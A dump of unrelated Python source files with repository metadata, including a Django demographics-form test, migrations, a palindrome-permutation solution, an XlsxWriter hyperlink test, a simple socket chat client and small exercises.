from bhp066.apps.bcpp_household.models.household_log import HouseholdLog, HouseholdLogEntry
from bhp066.apps.bcpp_household.tests.factories.household_log_entry_factory import HouseholdLogEntryFactory
from bhp066.apps.bcpp_household_member.tests.factories.head_household_factory import HeadHouseholdEligibilityFactory
from bhp066.apps.bcpp_household_member.tests.factories.household_info_factory import HouseholdInfoFactory
from bhp066.apps.bcpp_subject.tests.factories._subject_visit_factory import SubjectVisitFactory
from bhp066.apps.bcpp_list.models.religion import Religion
from bhp066.apps.bcpp_list.models.live_with import LiveWith
from bhp066.apps.bcpp_list.models.ethnic_groups import EthnicGroups
from bhp066.apps.bcpp_household_member.classes.enumeration_helper import EnumerationHelper
from bhp066.apps.bcpp_household_member.models.household_member import HouseholdMember
class TestSubjectConsentForm(TestCase):
app_label = 'bcpp_subject'
community = 'test_community'
@override_settings(
SITE_CODE='01', CURRENT_COMMUNITY='test_community', CURRENT_SURVEY='bcpp-year-1',
CURRENT_COMMUNITY_CHECK=False,
LIMIT_EDIT_TO_CURRENT_SURVEY=True,
LIMIT_EDIT_TO_CURRENT_COMMUNITY=True,
FILTERED_DEFAULT_SEARCH=True,
)
def setUp(self):
site_mappers.autodiscover()
from bhp066.apps.bcpp_subject.visit_schedule import BcppSubjectVisitSchedule
try:
site_lab_profiles.register(BcppSubjectProfile())
except AlreadyRegisteredLabProfile:
pass
self.app_config = BcppAppConfiguration()
self.app_config.prepare()
self.app_config.prep_survey_for_tests()
site_lab_tracker.autodiscover()
BcppSubjectVisitSchedule().build()
site_rule_groups.autodiscover()
plot = PlotFactory(community=self.community, household_count=1, status='residential_habitable')
self.survey_bhs = Survey.objects.get(survey_slug='bcpp-year-1')
self.survey_ahs = Survey.objects.get(survey_slug='bcpp-year-2')
self.study_site = StudySite.objects.get(site_code='01')
self.household_structure_bhs = HouseholdStructure.objects.get(household__plot=plot, survey=self.survey_bhs)
self.household_structure_ahs = HouseholdStructure.objects.get(household__plot=plot, survey=self.survey_ahs)
self.create_household_log_entry(self.household_structure_bhs)
RepresentativeEligibilityFactory(household_structure=self.household_structure_bhs)
self.male_dob = date.today() - relativedelta(years=25)
self.male_age_in_years = 25
self.male_first_name = 'ERIK'
self.male_last_name = 'HIEWAI'
self.male_initials = "EW"
self.household_member_male_T0 = HouseholdMemberFactory(
household_structure=self.household_structure_bhs, gender='M',
age_in_years=self.male_age_in_years, first_name=self.male_first_name,
initials=self.male_initials
)
HeadHouseholdEligibilityFactory(
household_member=self.household_member_male_T0, household_structure=self.household_structure_bhs)
self.household_member_male_T0.eligible_hoh = True
self.household_member_male_T0.save()
HouseholdInfoFactory(
household_member=self.household_member_male_T0, household_structure=self.household_structure_bhs,
registered_subject=self.household_member_male_T0.registered_subject
)
self.enrollment = EnrollmentChecklistFactory(
household_member=self.household_member_male_T0,
gender='M',
citizen='Yes',
dob=self.male_dob,
guardian='No',
initials=self.household_member_male_T0.initials,
part_time_resident='Yes'
)
self.subject_consent_male = SubjectConsentFactory(
household_member=self.household_member_male_T0, confirm_identity='101119811', identity='101119811',
study_site=self.study_site, gender='M', dob=self.male_dob, first_name=self.male_first_name,
initials=self.male_initials)
appointment_male = Appointment.objects.get(
registered_subject=self.household_member_male_T0.registered_subject, visit_definition__code='T0')
subject_visit_male = SubjectVisitFactory(
appointment=appointment_male, household_member=self.household_member_male_T0)
ethic_data = {
'display_index': 0L,
'field_name': None,
'id': 1L,
'name': u'Babirwa',
}
religion_data = {
'display_index': 0L,
'field_name': None,
'name': u'Anglican',
'revision': None,
'short_name': u'anglican',
}
live_with_data = {
'id': 1L,
'name': u'Partner or spouse',
'revision': None,
'short_name': u'Partner or spouse',
}
ethic = EthnicGroups.objects.create(**ethic_data)
live_with = LiveWith.objects.create(**live_with_data)
religion = Religion.objects.create(**religion_data)
self.data = {
'ethnic_other': '',
'husband_wives': None,
'marital_status': 'Married',
'modified': datetime.today(),
'num_wives': 2,
'live_with': [live_with.id],
'religion': [religion.id],
'religion_other': u'',
'report_datetime': datetime.today(),
'subject_visit': subject_visit_male.id,
'ethnic': [ethic.id]
}
def create_household_log_entry(self, household_structure):
household_log = HouseholdLog.objects.filter(household_structure=household_structure).last()
HouseholdLogEntry.objects.all().delete()
HouseholdLogEntryFactory(household_log=household_log)
def test_marriage_gender_female_valid(self):
""" Test identity on
"""
self.data['num_wives'] = None
self.data['husband_wives'] = 10
from bhp066.apps.bcpp_subject.forms import DemographicsForm
demo_form = DemographicsForm(data=self.data)
self.assertTrue(demo_form.is_valid())
def test_marriage_gender_female_not_valid(self):
""" Test identity on
"""
self.data['num_wives'] = 10
self.data['husband_wives'] = None
from bhp066.apps.bcpp_subject.forms import DemographicsForm
demo_form = DemographicsForm(data=self.data)
self.assertFalse(demo_form.is_valid())
self.assertIn(
u"You should fill the number of wives.", demo_form.errors.get("__all__"))
@override_settings(
SITE_CODE='01', CURRENT_COMMUNITY='test_community', CURRENT_SURVEY='bcpp-year-2',
CURRENT_COMMUNITY_CHECK=False,
LIMIT_EDIT_TO_CURRENT_SURVEY=True,
LIMIT_EDIT_TO_CURRENT_COMMUNITY=True,
FILTERED_DEFAULT_SEARCH=True,
)
def test_marriage_gender_female_annual_valid(self):
""" Test identity on
"""
enumeration_helper_T2 = EnumerationHelper(self.household_structure_bhs.household, self.survey_bhs, self.survey_ahs)
enumeration_helper_T2.add_members_from_survey()
self.data['num_wives'] = None
self.data['husband_wives'] = 10
self.household_member_male = HouseholdMember.objects.get(household_structure=self.household_structure_ahs)
self.subject_consent_male.version = 2
self.subject_consent_male.save_base()
self.subject_consent_male = SubjectConsentFactory(
household_member=self.household_member_male, confirm_identity='101119811', identity='101119811',
study_site=self.study_site, gender='M', dob=self.male_dob, first_name=self.male_first_name,
initials=self.male_initials, version=4)
appointment_male = Appointment.objects.get(
registered_subject=self.household_member_male_T0.registered_subject, visit_definition__code='T1')
subject_visit_male = SubjectVisitFactory(
appointment=appointment_male, household_member=self.household_member_male)
self.data['subject_visit'] = subject_visit_male.id
from bhp066.apps.bcpp_subject.forms import DemographicsForm
demo_form = DemographicsForm(data=self.data)
self.assertTrue(demo_form.is_valid())
# self.assertIn(
# u"You should fill the number of wives.", demo_form.errors.get("__all__"))
@override_settings(
SITE_CODE='01', CURRENT_COMMUNITY='test_community', CURRENT_SURVEY='bcpp-year-2',
CURRENT_COMMUNITY_CHECK=False,
LIMIT_EDIT_TO_CURRENT_SURVEY=True,
LIMIT_EDIT_TO_CURRENT_COMMUNITY=True,
FILTERED_DEFAULT_SEARCH=True,
)
def test_marriage_gender_female_annual_notvalid(self):
""" Test identity on
"""
enumeration_helper_T2 = EnumerationHelper(self.household_structure_bhs.household, self.survey_bhs, self.survey_ahs)
enumeration_helper_T2.add_members_from_survey()
self.data['num_wives'] = 10
self.data['husband_wives'] = None
self.household_member_male = HouseholdMember.objects.get(household_structure=self.household_structure_ahs)
self.subject_consent_male.version = 2
self.subject_consent_male.save_base()
self.subject_consent_male = SubjectConsentFactory(
household_member=self.household_member_male, confirm_identity='101119811', identity='101119811',
study_site=self.study_site, gender='M', dob=self.male_dob, first_name=self.male_first_name,
initials=self.male_initials, version=4)
appointment_male = Appointment.objects.get(
registered_subject=self.household_member_male_T0.registered_subject, visit_definition__code='T1')
subject_visit_male = SubjectVisitFactory(
appointment=appointment_male, household_member=self.household_member_male)
self.data['subject_visit'] = subject_visit_male.id
from bhp066.apps.bcpp_subject.forms import DemographicsForm
demo_form = DemographicsForm(data=self.data)
self.assertFalse(demo_form.is_valid())
self.assertIn(
u"You should fill the number of wives.", demo_form.errors.get("__all__"))
| [
"tsetsiba@bhp.org.bw"
] | tsetsiba@bhp.org.bw |
9a2af41dc0bb310838bf6478dfe0522dd9a550ae | dd7e2cb3366855584fc27bbb2e0dc7ed63977117 | /vida/vida/migrations/0002_person_pic_filename.py | e69a9729d6e00a91856e1f7adfb0e25db2cdea01 | [
"MIT"
] | permissive | ProminentEdge/flintlock | 3d3eb6efbe4a2d0e731f8a26e69ffcd314e25cb9 | 271c897b332f0c24e00a23c1fe86f5172fb9dd30 | refs/heads/master | 2021-01-17T07:58:49.650273 | 2016-03-05T02:06:59 | 2016-03-05T02:06:59 | 50,030,647 | 1 | 1 | null | 2016-03-04T05:10:45 | 2016-01-20T13:06:30 | JavaScript | UTF-8 | Python | false | false | 415 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('vida', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='person',
name='pic_filename',
field=models.CharField(max_length=50, null=True, blank=True),
),
]
| [
"syrusm@gmail.com"
] | syrusm@gmail.com |
b29c3cc6e9735c70ab606d234516c1b7feb0b706 | 2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae | /python/python_3417.py | 531231f8fd443d20800f3ab318d8c1b24d18059f | [] | no_license | AK-1121/code_extraction | cc812b6832b112e3ffcc2bb7eb4237fd85c88c01 | 5297a4a3aab3bb37efa24a89636935da04a1f8b6 | refs/heads/master | 2020-05-23T08:04:11.789141 | 2015-10-22T19:19:40 | 2015-10-22T19:19:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 84 | py | # Changing the encoding of a table with django+south migrations using --auto
--auto
| [
"ubuntu@ip-172-31-7-228.us-west-2.compute.internal"
] | ubuntu@ip-172-31-7-228.us-west-2.compute.internal |
53283ad6f5c2217a5a71cff991b53a10091daa3b | 09d3599c8e53b38104e96d479b2b40ac549d0bef | /Rakesh/permutation-combination/palindromic_permutation.py | 128dfbbc9c13ad0ed8713cdc04433f515971161b | [] | no_license | rakeshsukla53/interview-preparation | 54764c83c86a52c566899ec87d74dad84216764d | 09355094c85496cc42f8cb3241da43e0ece1e45a | refs/heads/master | 2016-09-06T02:08:50.436414 | 2016-02-01T00:31:52 | 2016-02-01T00:31:52 | 40,916,511 | 9 | 3 | null | 2015-12-31T05:00:55 | 2015-08-17T17:59:55 | HTML | UTF-8 | Python | false | false | 1,726 | py |
from collections import Counter
from itertools import permutations, repeat
class Solution(object):
def generatePalindromes(self, s):
"""
Generate all palindrome of a given sequence
:type s: str
:rtype: List[str]
"""
# for not be palindrome we cannot have two character with frequency of 1
all_combination = []
if len(s) == 1 or len(set(s)) == 1:
return [s]
if len(filter(lambda x: x[1] % 2 == 1, Counter(s).items())) > 1:
return []
else:
if len(s) % 2 == 0:
if len(filter(lambda x: x[1] == 1, Counter(s).items())) == 1:
return []
else:
result = []
word_frequency = Counter(s)
for letters in word_frequency:
result.extend(repeat(letters, word_frequency[letters] / 2))
for i in permutations("".join(result), len(result)):
all_combination.append("".join(list(i)) + "".join(list(i[::-1])))
return all_combination
else:
result = []
word_frequency = Counter(s)
for letters in word_frequency:
if word_frequency[letters] % 2 == 1:
middle_character = letters
result.extend(repeat(letters, word_frequency[letters] / 2))
for i in permutations("".join(result), len(result)):
all_combination.append("".join(list(i)) + middle_character + "".join(list(i[::-1])))
return all_combination
print Solution().generatePalindromes("aabaa")
| [
"rakesh.sukla53@gmail.com"
] | rakesh.sukla53@gmail.com |
07549c00bd4f9d4c98dacd7d1e6de9ae69f986e3 | eb9c3dac0dca0ecd184df14b1fda62e61cc8c7d7 | /google/container/v1beta1/container-v1beta1-py/google/container_v1beta1/types/__init__.py | 63e366e3fc48ad2bfb6cf302007e3f7562e4d6eb | [
"Apache-2.0"
] | permissive | Tryweirder/googleapis-gen | 2e5daf46574c3af3d448f1177eaebe809100c346 | 45d8e9377379f9d1d4e166e80415a8c1737f284d | refs/heads/master | 2023-04-05T06:30:04.726589 | 2021-04-13T23:35:20 | 2021-04-13T23:35:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,486 | py | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from .cluster_service import (
AcceleratorConfig,
AddonsConfig,
AuthenticatorGroupsConfig,
AutoprovisioningNodePoolDefaults,
AutoUpgradeOptions,
BinaryAuthorization,
CancelOperationRequest,
ClientCertificateConfig,
CloudRunConfig,
Cluster,
ClusterAutoscaling,
ClusterTelemetry,
ClusterUpdate,
CompleteIPRotationRequest,
ConfidentialNodes,
ConfigConnectorConfig,
CreateClusterRequest,
CreateNodePoolRequest,
DailyMaintenanceWindow,
DatabaseEncryption,
DefaultSnatStatus,
DeleteClusterRequest,
DeleteNodePoolRequest,
DnsCacheConfig,
EphemeralStorageConfig,
GcePersistentDiskCsiDriverConfig,
GetClusterRequest,
GetJSONWebKeysRequest,
GetJSONWebKeysResponse,
GetNodePoolRequest,
GetOpenIDConfigRequest,
GetOpenIDConfigResponse,
GetOperationRequest,
GetServerConfigRequest,
HorizontalPodAutoscaling,
HttpLoadBalancing,
IntraNodeVisibilityConfig,
IPAllocationPolicy,
IstioConfig,
Jwk,
KalmConfig,
KubernetesDashboard,
LegacyAbac,
LinuxNodeConfig,
ListClustersRequest,
ListClustersResponse,
ListLocationsRequest,
ListLocationsResponse,
ListNodePoolsRequest,
ListNodePoolsResponse,
ListOperationsRequest,
ListOperationsResponse,
ListUsableSubnetworksRequest,
ListUsableSubnetworksResponse,
Location,
MaintenancePolicy,
MaintenanceWindow,
Master,
MasterAuth,
MasterAuthorizedNetworksConfig,
MaxPodsConstraint,
NetworkConfig,
NetworkPolicy,
NetworkPolicyConfig,
NodeConfig,
NodeKubeletConfig,
NodeManagement,
NodePool,
NodePoolAutoscaling,
NodeTaint,
NotificationConfig,
Operation,
OperationProgress,
PodSecurityPolicyConfig,
PrivateClusterConfig,
PrivateClusterMasterGlobalAccessConfig,
RecurringTimeWindow,
ReleaseChannel,
ReservationAffinity,
ResourceLimit,
ResourceUsageExportConfig,
RollbackNodePoolUpgradeRequest,
SandboxConfig,
ServerConfig,
SetAddonsConfigRequest,
SetLabelsRequest,
SetLegacyAbacRequest,
SetLocationsRequest,
SetLoggingServiceRequest,
SetMaintenancePolicyRequest,
SetMasterAuthRequest,
SetMonitoringServiceRequest,
SetNetworkPolicyRequest,
SetNodePoolAutoscalingRequest,
SetNodePoolManagementRequest,
SetNodePoolSizeRequest,
ShieldedInstanceConfig,
ShieldedNodes,
StartIPRotationRequest,
StatusCondition,
TimeWindow,
TpuConfig,
UpdateClusterRequest,
UpdateMasterRequest,
UpdateNodePoolRequest,
UpgradeEvent,
UsableSubnetwork,
UsableSubnetworkSecondaryRange,
VerticalPodAutoscaling,
WorkloadIdentityConfig,
WorkloadMetadataConfig,
DatapathProvider,
UpgradeResourceType,
)
__all__ = (
'AcceleratorConfig',
'AddonsConfig',
'AuthenticatorGroupsConfig',
'AutoprovisioningNodePoolDefaults',
'AutoUpgradeOptions',
'BinaryAuthorization',
'CancelOperationRequest',
'ClientCertificateConfig',
'CloudRunConfig',
'Cluster',
'ClusterAutoscaling',
'ClusterTelemetry',
'ClusterUpdate',
'CompleteIPRotationRequest',
'ConfidentialNodes',
'ConfigConnectorConfig',
'CreateClusterRequest',
'CreateNodePoolRequest',
'DailyMaintenanceWindow',
'DatabaseEncryption',
'DefaultSnatStatus',
'DeleteClusterRequest',
'DeleteNodePoolRequest',
'DnsCacheConfig',
'EphemeralStorageConfig',
'GcePersistentDiskCsiDriverConfig',
'GetClusterRequest',
'GetJSONWebKeysRequest',
'GetJSONWebKeysResponse',
'GetNodePoolRequest',
'GetOpenIDConfigRequest',
'GetOpenIDConfigResponse',
'GetOperationRequest',
'GetServerConfigRequest',
'HorizontalPodAutoscaling',
'HttpLoadBalancing',
'IntraNodeVisibilityConfig',
'IPAllocationPolicy',
'IstioConfig',
'Jwk',
'KalmConfig',
'KubernetesDashboard',
'LegacyAbac',
'LinuxNodeConfig',
'ListClustersRequest',
'ListClustersResponse',
'ListLocationsRequest',
'ListLocationsResponse',
'ListNodePoolsRequest',
'ListNodePoolsResponse',
'ListOperationsRequest',
'ListOperationsResponse',
'ListUsableSubnetworksRequest',
'ListUsableSubnetworksResponse',
'Location',
'MaintenancePolicy',
'MaintenanceWindow',
'Master',
'MasterAuth',
'MasterAuthorizedNetworksConfig',
'MaxPodsConstraint',
'NetworkConfig',
'NetworkPolicy',
'NetworkPolicyConfig',
'NodeConfig',
'NodeKubeletConfig',
'NodeManagement',
'NodePool',
'NodePoolAutoscaling',
'NodeTaint',
'NotificationConfig',
'Operation',
'OperationProgress',
'PodSecurityPolicyConfig',
'PrivateClusterConfig',
'PrivateClusterMasterGlobalAccessConfig',
'RecurringTimeWindow',
'ReleaseChannel',
'ReservationAffinity',
'ResourceLimit',
'ResourceUsageExportConfig',
'RollbackNodePoolUpgradeRequest',
'SandboxConfig',
'ServerConfig',
'SetAddonsConfigRequest',
'SetLabelsRequest',
'SetLegacyAbacRequest',
'SetLocationsRequest',
'SetLoggingServiceRequest',
'SetMaintenancePolicyRequest',
'SetMasterAuthRequest',
'SetMonitoringServiceRequest',
'SetNetworkPolicyRequest',
'SetNodePoolAutoscalingRequest',
'SetNodePoolManagementRequest',
'SetNodePoolSizeRequest',
'ShieldedInstanceConfig',
'ShieldedNodes',
'StartIPRotationRequest',
'StatusCondition',
'TimeWindow',
'TpuConfig',
'UpdateClusterRequest',
'UpdateMasterRequest',
'UpdateNodePoolRequest',
'UpgradeEvent',
'UsableSubnetwork',
'UsableSubnetworkSecondaryRange',
'VerticalPodAutoscaling',
'WorkloadIdentityConfig',
'WorkloadMetadataConfig',
'DatapathProvider',
'UpgradeResourceType',
)
| [
"bazel-bot-development[bot]@users.noreply.github.com"
] | bazel-bot-development[bot]@users.noreply.github.com |
b4e791d6d5b79e2d392a46edb0f370b10920f691 | 3e30e334d759a3606be1dce6dca1154568808d68 | /xlsxwriter/test/comparison/test_hyperlink05.py | 639cc3fb1843d81ac62e040af046d02a719c2ee3 | [
"BSD-2-Clause-Views"
] | permissive | cimarronm/XlsxWriter | 59668816c4faf5b2e5fc7b96a4ab98d5797891b7 | b440055bebfcc08339bc3e43cc2ce9819a142004 | refs/heads/master | 2021-01-18T10:07:21.729676 | 2014-08-12T23:17:43 | 2014-08-12T23:17:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,983 | py | ###############################################################################
#
# Tests for XlsxWriter.
#
# Copyright (c), 2013-2014, John McNamara, jmcnamara@cpan.org
#
import unittest
import os
from ...workbook import Workbook
from ..helperfunctions import _compare_xlsx_files
class TestCompareXLSXFiles(unittest.TestCase):
"""
Test file created by XlsxWriter against a file created by Excel.
"""
def setUp(self):
self.maxDiff = None
filename = 'hyperlink05.xlsx'
test_dir = 'xlsxwriter/test/comparison/'
self.got_filename = test_dir + '_test_' + filename
self.exp_filename = test_dir + 'xlsx_files/' + filename
self.ignore_files = []
self.ignore_elements = {}
def test_create_file(self):
"""Test the creation of a simple XlsxWriter file with hyperlinks."""
filename = self.got_filename
####################################################
workbook = Workbook(filename)
# Turn off default URL format for testing.
workbook.default_url_format = None
worksheet = workbook.add_worksheet()
worksheet.write_url('A1', 'http://www.perl.org/')
worksheet.write_url('A3', 'http://www.perl.org/', None, 'Perl home')
worksheet.write_url('A5', 'http://www.perl.org/', None, 'Perl home', 'Tool Tip')
worksheet.write_url('A7', 'http://www.cpan.org/', None, 'CPAN', 'Download')
workbook.close()
####################################################
got, exp = _compare_xlsx_files(self.got_filename,
self.exp_filename,
self.ignore_files,
self.ignore_elements)
self.assertEqual(got, exp)
def tearDown(self):
# Cleanup.
if os.path.exists(self.got_filename):
os.remove(self.got_filename)
if __name__ == '__main__':
unittest.main()
| [
"jmcnamara@cpan.org"
] | jmcnamara@cpan.org |
b9a6b2fa64e6453c9b4a6750a68578fe3e6d933b | 231f1337e6b58bdb7d5e11b5d46ef1a4736b18e0 | /Week 4/assign04/order.py | 19ff684c37d8184e2e060ceb6fa2470b46fe5f73 | [] | no_license | onwuchekwa/CS241-Survey-Object-Oriented-Programming-and-Data-Structure | bd04c93c0f57331aa9613fcf6c41ec93a1314594 | bb7cfbc420706416d9b0b075d30a8852b6a74935 | refs/heads/master | 2023-06-21T07:52:16.424062 | 2021-08-02T12:04:29 | 2021-08-02T12:04:29 | 391,932,625 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,729 | py | '''
File: order.py
Purpose: Write programs that correctly use classes and objects to solve problems.
'''
class Order:
''' init - Initializes to id="", and products to an empty list [] '''
def __init__(self):
self.id = ""
self.products = []
''' get_subtotal - Sums the price of each product and returns it '''
def get_subtotal(self):
self.subtotal = self.products[2] + self.products[6]
return self.subtotal
''' get_tax - Returns 6.5% times the subtotal '''
def get_tax(self):
self.tax = self.get_subtotal() * (6.5 / 100)
return self.tax
''' get_total - Returns the subtotal plus the tax '''
def get_total(self):
self.total = self.get_subtotal() + self.get_tax()
return self.total
'''add_product - Adds the provided product to the list '''
def add_product(self, product):
self.products.append(product.id)
self.products.append(product.name)
self.products.append(product.price)
self.products.append(product.quantity)
''' display_receipt - Displays a receipt in the format:
Order: 1138
Sword (10) - $18999.90
Shield (6) - $5938.50
Subtotal: $2889.74
Tax: $187.83
Total: $3077.57
'''
def display_receipt(self):
print("Order: {}".format(self.id))
print("{} ({}) - ${:.2f}".format(self.products[1], self.products[3], self.products[2]))
print("{} ({}) - ${:.2f}".format(self.products[5], self.products[7], self.products[6]))
print("Subtotal: ${:.2f}".format(self.get_subtotal()))
print("Tax: ${:.2f}".format(self.get_tax()))
print("Total: ${:.2f}".format(self.get_total())) | [
"donsonde@gmail.com"
] | donsonde@gmail.com |
d54c6547ef06e42e06f85f135f5937de2a8787a9 | a1d5e1ae7c2c5190eee75bd80744b873cb0f9067 | /DeepLearning/開啟和寫入檔案open&write.py | 46b2c1a72a15f3e80e331d6a8c56e89e10422fa3 | [] | no_license | stevezxyu/Machine-Learning | 9899f4fd230c91b88cd2e42fc18fe4b5d5cfec25 | e81542acd58923574c65f237fd95ff8463165a3f | refs/heads/master | 2021-09-23T03:11:17.086961 | 2018-03-02T06:28:26 | 2018-03-02T06:28:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 454 | py | # -*- coding: utf-8 -*-
"""
Created on Tue Jan 2 11:47:10 2018
@author: Zhong-Xun Yu
"""
fp=open('file.txt', 'w')
if fp !=None:
print("檔案開啟成功")
fp.close()
fp=open('file.txt', 'w')
if fp!=None:
fp.write('小白')
fp.close()
fp=open('file.txt', 'r')
if fp!=None:
str=fp.read() # 字串被讀取出來
print(str)
fp.close()
fp=open('file.txt', 'r')
if fp!=None:
fp.write('小新')
fp.close()
| [
"noreply@github.com"
] | stevezxyu.noreply@github.com |
7afa65f7f69124ed8741ff517c1efa26551d2a42 | 13908a82c34136434e8c306f991413fa404f4277 | /Proj1/String Fromating.py | dd67d1436d811f715424a33c9a94af27f4a3c9ff | [] | no_license | yuraboruk/MyLabRepo | 4d2b1bb6523ffee95a04a0b9be0a92ebef85f24c | 4f1e79e4ae65f264caf5c4b080a90ae109d70913 | refs/heads/main | 2023-04-15T00:52:14.561824 | 2021-04-30T01:02:51 | 2021-04-30T01:02:51 | 316,868,483 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 508 | py | name = "Yura"
print ("Hello, %s!" % name)
age = 23
print ("%s is %d years old." % (name, age))
mylist = [1,2,3]
print ("A list: %s" % mylist)
'''
%s - String (or any object with a string representation, like numbers)
%d - Integers
%f - Floating point numbers
%.<number of digits>f - Floating point numbers with a fixed amount of digits to the right of the dot.
%x/%X - Integers in hex representation (lowercase/uppercase)
'''
info = ("Yura", "Boruk" , 24)
intro = "Hello,"
print (intro % info)
| [
"75191780+yuraboruk@users.noreply.github.com"
] | 75191780+yuraboruk@users.noreply.github.com |
86d4adf1467e93f4d8cda3c61bfaa7c57ab3fcc6 | 8f9f81ac188db289178a104329ecee38ec31ce4b | /network/Simple Group/client.py | 06bf69364c6a50b00c6a85427dd926309b165b2a | [] | no_license | zahrayousefijamarani/SOCKET_PROGRAMMING | 55d8f711a617d954bff1b4988795e83e720f2d7a | 056f7e0fdabcf01d058bd7ffe9ea5cc54f2ad066 | refs/heads/master | 2023-07-06T23:35:57.098733 | 2021-08-20T07:15:59 | 2021-08-20T07:15:59 | 398,186,996 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,119 | py | import socket
import threading
# host = '188.209.77.41'
host = '2.177.67.132'
port = 23005
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
client.setblocking(True)
user_id = ""
accepted = False
def receive():
global user_id, accepted
while True:
try:
answer = client.recv(1024).decode("ascii")
if answer.__contains__("send your user-id"):
user_id = input("please enter an user-id\n")
client.send(user_id.encode("ascii"))
elif answer.__contains__("accepted"):
accepted = True
else:
print(answer)
except:
client.close()
break
def write():
while True:
try:
if accepted:
command = input("Please enter your command\n")
client.send(command.encode("ascii"))
except:
client.close()
break
receive_thread = threading.Thread(target=receive)
receive_thread.start()
write_thread = threading.Thread(target=write)
write_thread.start()
| [
"z.y.j.1379@gmail.com"
] | z.y.j.1379@gmail.com |
0d568f635073a39c7b98c0ec0829ff15edcbbe2a | 4284adba226f954ce1b523b54fe7a02f7c997697 | /lk/migrations/0024_userdetal_account.py | 66905039aa60c68dc3fbc6568d6adf0607e49869 | [] | no_license | autodatabases/uchetka | d939cb0c73f1efcbeedf74991404c09da01f6f3f | c8d3db1dbb02928574eb0a7d969893655efe377f | refs/heads/master | 2022-02-14T11:36:44.060211 | 2019-02-04T11:10:26 | 2019-02-04T11:10:26 | 175,680,533 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 615 | py | # Generated by Django 2.1.5 on 2019-01-30 09:51
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('lk', '0023_userdetal'),
]
operations = [
migrations.AddField(
model_name='userdetal',
name='account',
field=models.ForeignKey(default='', on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
preserve_default=False,
),
]
| [
"mailkyda@gmail.com"
] | mailkyda@gmail.com |
e406ffc3efb630d8ef417c2617f8cda8a258e1b0 | b778fbb103629262cfdbd72c5d8f0eafa685276f | /src/projects/migrations/0003_auto_20171227_1732.py | a5aa5c2f95d2adf6e9e95158ea7c3de99e6826bf | [
"MIT"
] | permissive | gvrossom/ants | ef2e9fbe03669d8fb1f57eb1ecc4fd7cb4a5a411 | b361c44b03dd9a4f9ed17aaff63fcf37b4f41c72 | refs/heads/master | 2021-01-22T04:49:53.714074 | 2018-01-30T09:00:57 | 2018-01-30T09:00:57 | 81,590,469 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 727 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9 on 2017-12-27 17:32
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('projects', '0002_auto_20171030_1722'),
]
operations = [
migrations.AlterModelOptions(
name='project',
options={'ordering': ('last_updated',)},
),
migrations.AddField(
model_name='project',
name='reviewers',
field=models.ManyToManyField(related_name='reviewers', to=settings.AUTH_USER_MODEL),
),
]
| [
"gautier@base3.be"
] | gautier@base3.be |
81496bc7dccae73bea29735f6af9cc13be3dc959 | 20d012143c994da48aa5d13d93f544c75e12b63a | /workScripts/space_structure.py | 0ffe4554ee37936cf8592828134ba60cc7369ac3 | [] | no_license | ivanNovikau/PyDiagORB5 | 248db753e8467e22ad611155834cb9ab1224ec43 | 5a1e46a698fe763818ad3f09a4d00013e21f71e9 | refs/heads/master | 2021-06-18T16:51:39.196005 | 2021-02-27T03:10:40 | 2021-02-27T03:10:40 | 174,345,711 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,303 | py | import Mix as mix
import common as cm
import Global_variables as GLO
import numpy as np
def reload():
mix.reload_module(mix)
mix.reload_module(cm)
mix.reload_module(GLO)
def poloidal_n1_t1(dd, **oo):
n_mode = oo['n_mode']
t_point = oo['t_point']
plane = oo['plane'] # 'rz' or 'schi'
slims = oo['slims'] # [s_left, s_right], always along s-grid, [0,1]
chilims = oo['chilims'] # in radians, counterclockwise, always along chi-grid
# [np.pi/2, None] - from pi/2 to 2pi
# [-np.pi/2, np.pi/2] - low-field-side
# etc.
# signal
signal = GLO.create_signals_dds(
GLO.def_fields3d_n1_schi,
[dd],
planes=[plane],
)[0]
signal['t-point'] = t_point
signal['n1'] = n_mode
# styling
ff = dict(GLO.DEF_PLOT_FORMAT)
ff.update({
'xlabel': 's' if plane == 'schi' else 'R',
'ylabel': '\chi' if plane == 'schi' else 'Z'
})
# plotting
oo = {
'signal': signal,
'ff': ff,
}
if slims[0] is not None:
oo['s_start'] = slims[0]
if slims[-1] is not None:
oo['s_end'] = slims[-1]
if chilims[0] is not None:
oo['chi_start'] = chilims[0]
if chilims[-1] is not None:
oo['chi_end'] = chilims[-1]
cm.plot_vars_2d(oo) | [
"ivan90novik@gmail.com"
] | ivan90novik@gmail.com |
